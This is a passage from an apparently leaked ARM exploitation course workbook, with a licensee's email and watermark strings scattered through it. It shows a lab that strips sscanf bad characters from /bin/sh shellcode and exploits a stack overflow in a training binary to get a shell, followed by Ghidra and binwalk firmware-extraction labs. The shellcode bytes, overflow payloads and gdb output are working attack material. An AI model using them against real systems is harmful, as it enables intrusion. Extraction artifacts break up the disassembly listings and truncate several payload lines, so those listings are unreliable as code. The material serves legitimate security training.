function will process certain ASCII characters in a way that will disrupt parsing the full string into the buf variable.

If you run man ascii from a command shell, you can see a listing of ASCII characters used by C and if you look at the
beginning of the table, you see some of the characters that sscanf will recognize and break up the copy.

Oct micede1865@wii999_com
Dec Hex Char Oct Dec Hex Char
────────────────────────────────────────────────────────────────────────
000 0 00 NUL '\0' (null character) 100 64 40 @
001 1 01 SOH (start of heading) 101 65 41 A
002 2 02 STX (start of text) 102 66 42 B
003 3 03 ETX (end of text) 103 67 43 C
004 4 04 EOT (end of transmission) 104 68 44 D
005
006
007
5
6
7
05
06
07
ENQ (enquiry)
ACK (acknowledge)
BEL '\a' (bell)
24356915 105
106
107
69
70
71
45
46
47
E
F
G
010 8 08 BS '\b' (backspace) 110 72 48 H
011 9 09 HT '\t' (horizontal tab) 111 73 49 I
012 10 0A LF '\n' (new line) 112 74 4A J
013 11 0B VT '\v' (vertical tab) 113 75 4B K
014 12 0C FF '\f' (form feed) 114 76 4C L
015 13 0D CR '\r' (carriage ret) 115 77 4D M
016
017
14
15
0E
0F
SO (shift out)
SI (shift in)
Paul Erwin 116
117
78
79
4E
4F
N
O

...

The sscanf function has more "bad characters" than just the null (0x00) byte that will cut our shellcode short. Unlike the
strcpy function, sscanf will also cut our string short with characters that represent a vertical tab (0x0b) or a form feed

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(0xc).

 Note

There may be other bad characters that affect sscanf, but the 0x0b and 0x0c characters are present in shellcode that we have used
previously in class.

Problematic shellcode
live
Shellcode that works fine in a previous lab, will be problematic with sscanf since it contains bad characters. For example,
use objdump to take a look at the shellcode-696.o file in the ~/labs/shellcode/asm/badchars folder.

74 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@mako:~$ cd ~/labs/shellcode/asm/badchar/

nemo@mako:~/labs/shellcode/asm/badchar$ objdump -d ./shellcode-696.o

09b91222e5d2d3d668cf8e52ec5d35ba
...

00000000 <_start>:
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: 4678 mov r0, pc
a: 300c adds r0, #12
c: 46c0 nop ; (mov r8, r8)
e:
10:
12:
micede1865@wii999_com
9001
1a49
1a92
str r0,
subs
subs
[sp, #4]
r1, r1, r1
r2, r2, r2
14: 270b movs r7, #11
16: df01 svc 1
18: 622f str r7, [r5, #32]
1a: 6e69 ldr r1, [r5, #100] ; 0x64
1c: 732f strb r7, [r5, #12]
1e: 0068 lsls r0, r5, #1

24356915
We see that when we add 12 (0x0c) bytes to r0, we have a 0x0c in that instruction.

300c adds r0, #12

Also, when we move 11 into r7, just prior to svc 1 , there is a 0x0b in that instruction.

270b movs r7, #11 Paul Erwin


We can also see this if we look at the bytes that make up this shellcode.

nemo@mako:~/labs/shellcode/asm/badchar$ objcopy -O binary shellcode-696.o shellcode-696.bin

nemo@mako:~/labs/shellcode/asm/badchar$ xxd -ps shellcode-696.bin | tr -d '\n' | sed 's/../\\x&/g'

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e

Let's take a look back at the process_tlv function in tlv.c.

void process_tlv(unsigned char type, unsigned char len, unsigned char *value) {

unsigned char buf[100];


char *c1;
char *c2;
live
printf("[+] Processing 0x%x type\n", type);

switch (type) {
case 0x66:

© Hungry Hackers, LLC 75


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


printf("[-] Performing strcpy\n");
strcpy(buf, (value+2));
printf("Value: %s\n", buf);
return;

09b91222e5d2d3d668cf8e52ec5d35ba case 0x65:


printf("[-] Performing memcpy\n");
memcpy(buf, value+2, len);
buf[len] = '\00';
printf("Value: %s\n", buf);
return;
case 0x64:
printf("[-] Performing sscanf\n");
sscanf(value, "%c%c%s", &c1, &c2, buf);

micede1865@wii999_com
default:
return;

printf("Invalid type. Try again.\n");


return;
}
}

If we use the shellcode above to attack case 0x65, it will work since it is a memcpy. Let's verify this in gdb by trying to
24356915
exploit the tlv_dynamic program. Use the following input and notice that we are using \x65 as the first byte.

 Note

See the tlv lab for more information regarding how we reach the different cases in this function.

Paul Erwin
run $(python2 -c 'print "\x65\xff" + "A"*104 + "\x18\xf4\xff\xbe" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6

In the input above, 0xbefff418 is the address of our shellcode on the stack. Since ASLR is off, this address will be the
same every time the process is ran in gdb. If you run this program outside of gdb, the stack is aligned differently and this
address will need to be adjusted.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
 Warning

When running the example below, hit ctl-c, and then c to coninue if gdb seems to freeze up.

nemo@mako:~$ cd ~/labs/tlv
nemo@mako:~/labs/tlv$

nemo@mako:~/labs/tlv$ gdb tlv_dynamic


live
...
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from tlv_dynamic...
(No debugging symbols found in tlv_dynamic)

76 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


(gdb) run $(python2 -c 'print "\x65\xff" + "A"*104 + "\x18\xf4\xff\xbe" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6
Starting program: /home/nemo/labs/tlv/tlv_dynamic $(python2 -c 'print "\x65\xff" + "A"*104 +
"\x18\xf4\xff\xbe" +

09b91222e5d2d3d668cf8e52ec5d35ba
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6
^C
Program received signal SIGINT, Interrupt.
0xb6fd81dc in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
[+] Processing 0x65 type
[-] Performing memcpy
Value:

micede1865@wii999_com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���
�xF

0�F�I���

'�/bin/sh
process 1550 is executing new program: /usr/bin/dash
^C
Program received signal SIGINT, Interrupt.
24356915
0xb6fe12fa in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
$

We successfully get a shell when attacking case 0x65, since it uses memcpy.

 Note Paul Erwin


Notice that there is also a null byte that has been dropped from the end in the shellcode above. This is fine since a null byte will be
inserted at the end of the string as it is read in from the command line (or in our case, when using gdb's run command).

However, we would have to improve this shellcode to take care of that null byte if we cannot place this at the end of the input buffer.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Observe bad character in sscanf

Let's adjust our input so that we reach case 0x64 and test sscanf. This is the code we want to reach.

case 0x64:
printf("[-] Performing sscanf\n");
sscanf(value, "%c%c%s", &c1, &c2, buf);
return; live
The first byte will determine which case we reach, so the first byte in our input has to 0x65. So we will change that from
the shellcode we used above, other than that the input stays the same. Based on the format string, 2 characters will be
read into c1 and c2, but this will not effect the alignment of our overflow.

© Hungry Hackers, LLC 77


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Let's try it. The only thing we are changing from the input above is changing the first byte from 0x65 to 0x64.

run $(python2 -c 'print "\x64\xff" + "A"*104 + "\x18\xf4\xff\xbe" +


"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6

09b91222e5d2d3d668cf8e52ec5d35ba
Exit out of any previous gdb session and start it up again with tlv_dynamic.

nemo@mako:~/labs/tlv$ gdb tlv_dynamic


...
(gdb) run $(python2 -c 'print "\x64\xff" + "A"*104 + "\x18\xf4\xff\xbe" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6

micede1865@wii999_com
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nemo/labs/tlv/tlv_dynamic $(python2 -c 'print "\x64\xff" + "A"*104 +
"\x18\xf4\xff\xbe" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6
^C
Program received signal SIGINT, Interrupt.
0xb6fd81e4 in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
[+] Processing 0x64 type
[-] Performing sscanf
24356915
Program received signal SIGSEGV, Segmentation fault.
0xbeffe7fc in ?? ()
(gdb)

Paul Erwin
Something went wrong. This is due to sscanf, cutting our shellcode short when sscanf reads the bytes into the buf
variable.

Eliminating bad characters in shellcode

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
 Try it.

Without looking ahead, try to think of another way to write our shellcode without using the bad characters. Update the shellcode file,
assemble it, extract the bytes and write a new exploit for tlv that targets the vulnerable sscanf implementation.

Test your new shellcode by attacking the 0x64 case in tlv_dynamic in gdb.

live
As an alternative to the shellcode used in the previous examples, the following shellcode does not contain characters that
will be problematic for sscanf.

nemo@mako:~/labs/shellcode/asm/badchar/solution$ cat shellcode-bad_0xb-0xc.s


...

_start:

78 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


add r3, pc, #1
bx r3

09b91222e5d2d3d668cf8e52ec5d35ba
.code 16
mov r0, pc
add r0, #16 // modified to eliminate using 0xc (#12)
nop // added more bytes due to additional thumb instruction
str r0, [sp, #4]
sub r1, r1, r1
strb r1, [r0, #7]
sub r2, r2, r2
mov r7, #6 // modified to eliminate using 0xb (#11)

svc 1 micede1865@wii999_com
add r7, #5

str r7, [r5, #32]


ldr r1, [r5, #100]
strb r7, [r5, #12]
lsl r0, r5, #1

By making some minor changes in the assembly, we affected the opcodes so that they do not contain the characters 0x0b
24356915
and 0x0c. Before we review the changes, let's take a look at the object code using objdump.

nemo@mako:~/labs/shellcode/asm/badchar/solution$ as -o shellcode-bad_0xb-0xc.o shellcode-bad_0xb-0xc.s

nemo@mako:~/labs/shellcode/asm/badchar/solution$ objdump -d ./shellcode-bad_0xb-0xc.o

./shellcode-bad_0xb-0xc.o: file format elf32-littlearm

00000000 <_start>:
0: e28f3001 add r3, pc, #1
Paul Erwin
4: e12fff13 bx r3
8: 4678 mov r0, pc
a: 3010 adds r0, #16
c: 46c0 nop ; (mov r8, r8)
e: 9001 str r0, [sp, #4]

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
10:
12:
14:
1a49
71c1
1a92
subs
strb
subs
r1, r1, r1
r1, [r0, #7]
r2, r2, r2
16: 2706 movs r7, #6
18: 3705 adds r7, #5
1a: df01 svc 1
1c: 622f str r7, [r5, #32]
1e: 6e69 ldr r1, [r5, #100] ; 0x64
20: 732f strb r7, [r5, #12]
22: 0068 lsls r0, r5, #1
live
We don't see any 0x0c or 0x0b bytes in the second column. Good, there should be no more bad characters for sscanf to
trip up on.

© Hungry Hackers, LLC 79


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Changes in shellcode

Let's take a look at the changes.

09b91222e5d2d3d668cf8e52ec5d35ba
Just prior to the svc 1 instruction, we need to get an 11 (0x0b) into r7. Previously, our shellcode looked like this:

14: 270b movs r7, #11


16: df01 svc 1

It was straighforward, but resulted in a 0x0b in the shellcode which caused sscanf to cut our string short. So we changed
it to the following:

16:
micede1865@wii999_com
2706 movs r7, #6
18: 3705 adds r7, #5
1a: df01 svc 1

Here we add 6+5 to get 11 stored in r7. This adds another THUMB instruction and adds 2 bytes to the length of our
shellcode, however it avoids having the bad character 0x0b in our shellcode.
24356915
Previously, we had a 0x0c byte in this instruction.

a: 300c adds r0, #12

We changed this to:

a: 3010 adds
Paul Erwin
r0, #16

This instruction adds the distance to "/bin/sh" to the value stored in r0. The distance was 12 (0x0c), however, we added an
extra instruction to eliminate the 0x0b byte by adding 5 and 6 together as we just discussed. That would make the
distance 14. There is also another THUMB instruction that has been added that is between the adds r0, 16 instruction
and "/bin/sh" making the distance 16. That instruction is:

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
12: 71c1 strb r1, [r0, #7]

This instruction stores a null byte at the end of "/bin/sh". At this point in our shellcode r0 points to the "/bin/sh" string and
adding a zero just past that string in our shellcode allows us to inject the shellcode in places other than at the end. This
instruction makes our shellcode more versatile so that it doesn't have to be used at the end of the buffer and does not
depend on a null byte being inserted at the end. This additional 2 bytes, makes the distance 16 and prevents our add
live
instruction from using 0x0c as the offset which gets translated to a byte in the opcode.

Exploiting in the debugger

Let's try our new shellcode.

80 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@mako:~/labs/shellcode/asm/badchar/solution$ xxd -ps shellcode-bad_0xb-0xc.bin | tr -d '\n' | sed
's/../\\x&/g'
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xdf

09b91222e5d2d3d668cf8e52ec5d35ba
No 0x0c's or 0x0b's. We can eliminate the \x00 at the end, since we will be adding the shellcode at the end again and
when the input is read in, a null byte will be inserted there anyway.

Exit out of gdb by typing quit and start it back up again.

nemo@mako:~/labs/tlv$ gdb tlv_dynamic


GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2

micede1865@wii999_com
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:

24356915
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".


Type "apropos word" to search for commands related to "word"...
Reading symbols from tlv_dynamic...
(No debugging symbols found in tlv_dynamic)
(gdb)

Paul Erwin
Combine the new shellcode with the 0x64 byte, the shellcode address on the stack, and the rest of our buffer.

"\x64\xff" + "A"*104 + "\x18\xf4\xff\xbe" +


"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Try combining the shellcode above with the python syntax needed for the run command in gdb. You may have to hit ctl-c
and c to continue a couple of times, but if all goes well...

(gdb) run $(python2 -c 'print "\x64\xff" + "A"*104 + "\x18\xf4\xff\xbe" +


"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nemo/labs/tlv/tlv_dynamic $(python2 -c 'print "\x64\xff" + "A"*104 +
"\x18\xf4\xff\xbe" +
live
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd
^C
Program received signal SIGINT, Interrupt.
0xb6fe12fa in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
[+] Processing 0x64 type

© Hungry Hackers, LLC 81


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


[-] Performing sscanf
process 1634 is executing new program: /usr/bin/dash
^C
Program received signal SIGINT, Interrupt.

09b91222e5d2d3d668cf8e52ec5d35ba
0xb6fe12b8 in _dl_debug_state () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
$

Success!!! We modified our shellcode to avoid what sscanf considers bad characters and were able to get a shell!

Summary
micede1865@wii999_com
In this lab we looked at some bytes that are considered bad characters and need to be avoided when attacking sscanf. By
making some slight changes to our shellcode, we were able to avoid using these problematic bytes and successfully
execute our shellcode.

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

82 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 6: Intro to Ghidra

09b91222e5d2d3d668cf8e52ec5d35ba
Background

Ghidra is a free reverse engineering tool developed by the NSA. It is open source and has many features applicable to
ARM. For our purposes, being able to analyze and decompile ARM binaries in a graphical is extremely helpful. For more
information go to https://ghidra-sre.org/.

Objectives micede1865@wii999_com
• Creating a new project in ghidra

• Adding and analyzing ARM binary files

• Finding functions for disassembly and decompilation

24356915
• Changing variable names in the disassembly view

 Note

This lab is intended as a basic starting point for working with ghidra. There are many, many, many features to explore.

Lab Preparation Paul Erwin


 Info

This lab will be done in the hammerhead virtual machine

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Boot up the hammerhead virtual machine in vmware and login using the credentials below.

• User: nemo

• Password: nemo

Creating a new project


live
Start up ghidra by running the following command in the hammerhead vm.

nemo@hammerhead:~$ ./ghidraRun &

© Hungry Hackers, LLC 83


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Note

There is already a ghidra project that has been created in the hammerhead vm. If you would like to create a new one, pick a new

09b91222e5d2d3d668cf8e52ec5d35ba
project name and follow the instructions below, but if you would like to continue using the existing project skip down to Importing a
File.

The first time you run ghidra, you should see the following window.

micede1865@wii999_com

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

• Click File / New Project

• Select Non-Shared Project


live
• Change the Project Directory to the Documents folder and name the new project sans661

84 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com

24356915

Paul Erwin
Importing a file

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Click File / Import File

• Browse to the labs/verify_pin folder

• Select the verify_pin file and click "Select File To Import"

• Accept the default settings by clicking OK (ghidra will detect that this file is in the ELF format and is an ARM little
endian 32-bit binary)

• Review the Import Results Summary and click OK live


• We should now see the verify_pin binary under the sans661 folder in our project

© Hungry Hackers, LLC 85


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com

24356915

Paul Erwin

Importing an additional file


ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• We can add multiple files to the same project. Let's also add the simple_loop.arm binary to the sans661 project

• Follow the same steps as above and import the file ~/labs/simple_loop/simple_loop.arm

• We should now see both files in our project

live

86 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com

24356915

Paul Erwin

Analyzing a binary
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Right click on the verify_pin binary and click "Open in default tool". This will start the CodeBrowser tool. Alternatively,
you could click on the verify_pin and then click the Dragon icon.

live

© Hungry Hackers, LLC 87


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com

24356915
• When asked if you would like to analyze the binary now, click Yes

Paul Erwin
• Accept the default options and click Analyze

• There will be some activity displayed in the lower right corner showing the progress of the analysis. We are working
with some basic ELF files, so this analysis should finish relatively quickly

Re-arranging the CodeBrowser layout

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• The ghidra CodeBrowser layout can be rearranged by dragging the title bars of the various windows to their desired
locations. Also, the edges of the windows can be dragged to the desired size.

• Clicking on the Window menu in the title bar will show additional windows that can be added to the view.

 Note

live
There are many great features to explore and ghidra can be overwhelming at first! Don't be discouraged. For the labs in this course
we will just be using some of the basic features.

The ghidra layout can feel really cramped when viewed on a small laptop screen. As you become more comfortable with
the tool, feel free to close any of the windows that you do not need and stretch out the important ones. You can always
open them again by selecting them from the Window menu in the title bar.

88 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Finding the verify_pin function in the Symbol Tree window

• Select the Functions folder in the Symbol Tree window and scroll down until you find the verify_pin function.

09b91222e5d2d3d668cf8e52ec5d35ba
 Note

Coincidentally, this function has the same name as the file.

micede1865@wii999_com

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• After you find "verify_pin" by scrolling down in the Functions folder, click on it. This will bring up the verify_pin function
in both the Listing (assembly) and the Decompile windows.

live

© Hungry Hackers, LLC 89


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com

24356915

Paul Erwin
• The Decompile window will resemble the C code in our src folder.

• Compare the source code in ~/labs/verify_pin/src/verify_pin.c to what you see in the ghidra Decompile window. You
can open the source code file by entering the following command in the console: gedit ~/labs/verify_pin/src/
verify_pin.c

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• This is not a perfect match, but as security researchers we rarely have access to the source code of our target
binaries. A reverse engineering tool like ghidra or IDA Pro can give us an idea of what is happening in the program
even if we do not have the source code.

live

90 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• In this function we can see some function names from libc (printf, gets, memcpy, strlen, strcmp) and also some
strings.

• We can rename variables by clicking on them and clicking "l" (lower-case L for "label").

live
• Click on the acStack28 variable on line 11 and click "l". Rename this variable to "pin_buffer".

• Save the change by clicking on the disk image in the upper left corner of the larger CodeBrowser window or by
clicking File/Save 'verify_pin'

© Hungry Hackers, LLC 91


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Summary

There are many features in ghidra to explore, but at this point you should be able to:

• Open and analyze ARM ELF files live


• Scroll through and locate functions in the Symbol Tree window. (There is also a separate Functions window that you
can add to the layout from the Window menu on the title bar.)

• View the assembly in the Listing window and decompiled code

92 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


• Rename variables in the decompiled window

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© Hungry Hackers, LLC 93


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 7: Firmware Extraction

09b91222e5d2d3d668cf8e52ec5d35ba
Background

Being able to extract the file contents from a firmware update allows researchers to get their hands on the actual binaries
that get loaded onto a device. Tools like binwalk that automate the parsing and extraction of unknown file formats allow
for quick access to binaries of interest. These binaries can be viewed with static analysis tools, dynamically executed, or
even fuzzed.

Objectives
micede1865@wii999_com
• Using binwalk to analyze and extract data from a firmware update

• Identifying and looking through the squashfs root filesystem

24356915
• Emulating binaries extracted from the squashfs filesystem using qemu-arm

Lab Preparation

 Note

Paul Erwin
This lab will be done in the hammerhead vm.

Accessing the hammerhead vm

• Login to the hammerhead virtual machine using the credentials below.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• User: nemo

• Password: nemo

• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.

Extract the root file system


live
A firmware update (zip file) for the Netgear R6700v3 router has been downloaded and saved in the hammerhead vm.
Typically, this firmware update would be uploaded and installed on the router via it's web interface.

https://www.netgear.com/support/download/?model=R6700v3

94 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


In the hammerhead vm, change into the /home/nemo/firmware/netgear folder and extract the zip file into the working
files folder.

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@hammerhead:~$ cd firmware/netgear/

nemo@hammerhead:~/firmware/netgear$ ls
R6700v3-V1.0.4.84_10.0.58.zip working_files

nemo@hammerhead:~/firmware/netgear$ unzip -d working_files/ R6700v3-V1.0.4.84_10.0.58.zip


Archive: R6700v3-V1.0.4.84_10.0.58.zip
extracting: working_files/R6700v3-V1.0.4.84_10.0.58.chk
inflating: working_files/R6700v3-V1.0.4.84_10.0.58_Release_Notes.html

micede1865@wii999_com
Only 2 files are extracted from the zip file. The R6700v3-V1.0.4.84_10.0.58.chk file is the larger of the 2 and most likely
holds the actual updates for the router.

Change into the working_files folder and run the file command against R6700v3-V1.0.4.84_10.0.58.chk to see if the
operating system recognizes the file type.

24356915
nemo@hammerhead:~/firmware/netgear$ cd working_files/

nemo@hammerhead:~/firmware/netgear/working_files$ file R6700v3-V1.0.4.84_10.0.58.chk


R6700v3-V1.0.4.84_10.0.58.chk: data

The operating system does not recognize the file type and just sees it as "data".

Binwalk Paul Erwin


Binwalk is a tool that analyzes a binary file and does a signature-based check for different components embedded within
the file. Run binwalk against the .chk file.

nemo@hammerhead:~/firmware/netgear/working_files$ binwalk ./R6700v3-V1.0.4.84_10.0.58.chk

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 48283648 bytes, CRC32:
0x3D5AFA1D, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset:
0x20BA4C, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes,
uncompressed size: 5276608 bytes
2144902 0x20BA86 Squashfs filesystem, little endian, version 4.0, compression:xz, size:

live
46133617 bytes, 1853 inodes, blocksize: 131072 bytes, created: 2019-10-19 04:14:20

The output from binwalk shows the offset of the findings in both decimal and hexadecimal format. It also provides a
description for what it has discovered within the file. Without binwalk, or tools like it, you would need to manually open the
file in a hex editor and look for signatures that indicate various files and formats contained within the binary.

© Hungry Hackers, LLC 95


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Binwalk's "-e" parameter will automatically extract what it finds into a new folder.

nemo@hammerhead:~/firmware/netgear/working_files$ ls
R6700v3-V1.0.4.84_10.0.58.chk R6700v3-V1.0.4.84_10.0.58_Release_Notes.html

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@hammerhead:~/firmware/netgear/working_files$ binwalk -e ./R6700v3-V1.0.4.84_10.0.58.chk

DECIMAL HEXADECIMAL DESCRIPTION


--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 48283648 bytes, CRC32:
0x3D5AFA1D, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset:
0x20BA4C, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes,

micede1865@wii999_com
uncompressed size: 5276608 bytes
2144902 0x20BA86 Squashfs filesystem, little endian, version 4.0, compression:xz, size:
46133617 bytes, 1853 inodes, blocksize: 131072 bytes, created: 2019-10-19 04:14:20

If you look at the directory listing again, you will notice that there is a new folder that starts with an underline, _R6700v3-
V1.0.4.84_10.0.58.chk.extracted.

total 47164 24356915


nemo@hammerhead:~/firmware/netgear/working_files$ ls -l

-rw-rw-r-- 1 nemo nemo 48283706 Oct 28 2019 R6700v3-V1.0.4.84_10.0.58.chk


drwxrwxr-x 3 nemo nemo 4096 Apr 5 09:28 _R6700v3-V1.0.4.84_10.0.58.chk.extracted
-rw-rw-r-- 1 nemo nemo 708 Oct 28 2019 R6700v3-V1.0.4.84_10.0.58_Release_Notes.html

Change into the extracted folder and list the contents.

Paul Erwin
nemo@hammerhead:~/firmware/netgear/working_files/_R6700v3-V1.0.4.84_10.0.58.chk.extracted$ ls
20BA86.squashfs 56 56.7z squashfs-root squashfs-root-0

Squashfs is a filesystem that is commonly used for embedded system. The squashfs-root folder from this update file is
what gets loaded onto the device during the upgrade process.

Binwalk takes care of extracting the squashfs-root filesystem. We can change into this directory and view the contents.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@hammerhead:~/firmware/netgear/working_files/_R6700v3-V1.0.4.84_10.0.58.chk.extracted/squashfs-
root$ ls
bin data dev etc lib media mnt opt proc sbin share sys tmp usr var www

This is a common filesystem layout for linux systems and you will see a similar layout if you look at the hammerhead root
directory.

live
The files within these folders are intended to run on the target device. Therefore, they match the same architecture in this
case, 32-bit ARM.

We can confirm this by exploring the contents of these folders.

96 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@hammerhead:~/firmware/netgear/working_files/_R6700v3-V1.0.4.84_10.0.58.chk.extracted/squashfs-
root$ ls usr/bin
avahi-browse awk expr killall reset vmstat
avahi-browse-domains basename find less start_forked-daapd.sh wc

